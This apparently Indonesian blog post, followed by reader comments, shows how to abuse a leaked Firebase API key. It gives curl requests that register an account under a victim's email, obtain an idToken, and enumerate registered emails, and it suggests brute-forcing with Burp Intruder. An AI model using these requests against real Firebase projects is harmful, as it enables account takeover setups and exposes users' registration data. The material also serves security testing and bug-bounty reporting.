Exploiting leaked firebase API key
Diatas adalah gambaran bagaimana hubungan sebuah firebase project dengan Google Identity Platform yang mana mereka saling berhubungan, seperti yang dijelaskan oleh Jen Person (Developer Relations Engineer for Google Cloud)
I admit that it is challenging to pin down the relationship between Google Cloud and Firebase. My oversimplified explanation is that Firebase is the way to access some Google Cloud Platform products from a client application. Specifically for Identity Platform, this explanation works well. The Firebase Auth SDKs enable you to access Identity Platform functionality from your client app.
When adding Identity Platform to a Google Cloud project, a Firebase project is automatically created. This is one of those instance where the Firebase/Cloud relationship can be a bit confusing. When you start by creating a Firebase project, this is also a Cloud project, but a Cloud project isnβt necessarily a Firebase one unless you activate certain services or import the project to Firebase. β by Jen Person
Dan untuk menggunakan fungsi tersebut tentunya kita harus mendapatkan config firebasenya seperti contoh berikut :
Contoh Config Firebase
config = {
"apiKey": "AIzaSyCw5C6O23ThPk_ivcxt1Aexample",
"authDomain": "example-app.firebaseapp.com",
"databaseURL": "https://example-app.firebaseio.com",
"projectId": "example-app",
"storageBucket": "example-app.appspot.com",
"messagingSenderId": "111111111111",
"appId": "1:101547731766:web:blablablaaaaaaaaaaaaaa",
"measurementId": "G-R7blablaablaaaaaaaaa"
}
Exploitasi
Disini saya menggunakan skenario dimana saya akan melakukan register menggunakan email korban pada website yang menggunakan config firebase tersebut.
Gunakan payload berikut untuk melakukan register akun
curl 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=Firebase_APIKey' \
-H 'Content-Type: application/json' \
--data-binary '{"email":"victim@mail.com","password":"terserahanda","returnSecureToken":true}'
Setelah itu anda akan mendapatkan response
{
"idToken": "[ID_TOKEN]",
"email": "user@example.com",
"refreshToken": "[REFRESH_TOKEN]",
"expiresIn": "3600",
"localId": "tRcfmLH7..."
}
Nahh didalam response tersebut terdapat idToken yang nantinya dapat digunakan untuk melakukan beberapa aktifitas seperti change password, update profile, see profiles, linking with oauth credential, etc..
Untuk payloadnya bisa dilihat pada web dokumentasinya https://firebase.google.com/docs/reference/rest/auth
Perform a user enumeration
curl 'https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=API_KEY' \
-H 'Content-Type: application/json' \
--data-binary '{"identifier":"korban@example.com","continueUri":"http://localhost:8080/app"}'
Output apabila berhasil ditemukan data berdasarkan email
{
"allProviders": [
"password",
"google.com"
],
"registered": true
}
Teknik penyerangan
Attacker dapat melakukan serangan brute force dengan menggunakan tools umum seperti intruder milik burpsuite untuk mendapatkan informasi berdasarkan email
Dampak
Attacker dapat mengetahui email apa saja yang terdaftar pada database firebase dan bagaimana cara korban terdaftar atau masuk.
Bisa dirincikan lagi cara menggunakan informasi config firebase-nya ? di contoh menggunakan curl hanya menggunakan apikey nya saja. apakah seperti itu? saya masih belum berhasil hehe.
bisa mas, nanti saya coba rincikan lagi gimana cara pemanfaatan sama contohnya
BTW makasih banyak mas sarannya π
mantaap.. makasih ya mas. Saya juga kadang mendapat firebase config gitu cuma belum tahu cara eksploitasi yang menunjukkan bahwa itu adalah suatu kerentanan.
udah saya tambahin sedikit mas, untuk penggunaannya satu lagi bakal saya tulis di artikel baru mas π